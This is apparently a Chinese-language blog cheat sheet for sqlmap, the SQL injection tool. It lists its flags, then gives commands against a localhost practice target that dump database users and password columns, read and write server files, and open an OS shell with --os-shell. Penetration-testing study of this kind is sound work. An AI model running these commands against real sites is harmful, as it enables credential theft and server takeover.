SQL注入神器——sqlmap的常用参数、方法总结

简介

Sqlmap是一款开源的自动化SQL注入工具,是集获取数据库信息、获取主机权限、读写文件和提权等功能于一身的强大注入工具。

支持的数据库

MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB

支持的注入模式

布尔的盲注——根据返回页面判断条件真假的注入
时间的盲注——用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
报错注入——把注入的语句的结果直接返回在错误信息页面中
联合查询注入——可以使用union的情况下的注入;
堆查询注入——可以同时执行多条语句的执行时的注入。

常用参数

获取数据库信息:
-u 指定目标URL
–dbs 列出所有的数据库
–dbms 指定数据库类型
–users 列出数据库管理系统用户
–current-db 列出当前数据库
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–tables 列出当前的表
–columns 列出当前的列
–dump 获取字段中的数据
–banner 检索 banner

基本设置:
-d 连接数据库
–cookie 添加cookie认证(当程序有防get注入的时候,可以使用cookie注入)
–user-agent 使用特定的浏览器用户代理
–os-shell 获取主机shell
–thread 设置多线程(默认为3,最大为10)
–tamper 调用脚本进行注入
–delay 设置多久访问一次
-timeout 设定超时时间
-level 设置注入探测等级(1-5,默认1; 级别越高,检测越全面)
-v 指定sqlmap的回显等级(0-6,默认1)【“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面】

读写文件:
–file-read 读取文件(后面接本地要访问的目标文件)
–file-write 写入文件(后面接本地要写入的文件)
–file-dest 写入文件的绝对路径(后面接要写入目标主机的路径)

读写文件Payload:
读取Linux服务器的文件:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" --file-read=/etc/1.txt

读取Windows服务器的文件:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" --file-read=D:/1.txt

写入本地文件到服务器上:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" --file-write /test/1.txt --file-dest /var/www/html/1.txt

实战payload

测试URL是否存在注入:

 sqlmap.py -u "http://127.0.0.1/user.php?id=0"

列出数据库用户:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" --users

列出数据库所有库名:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" --dbs

查看当前数据库:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" --current-db

查看数据库security中的表:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" -D security --tables

查看表users中的字段:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" -D security -T users --columns

查看字段password,username的内容:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" -D security -T users -C "password,username" --dump

拿下服务器shell:

sqlmap.py -u "http://127.0.0.1/user.php?id=0" –os-shell

你可能感兴趣的:(安全工具使用)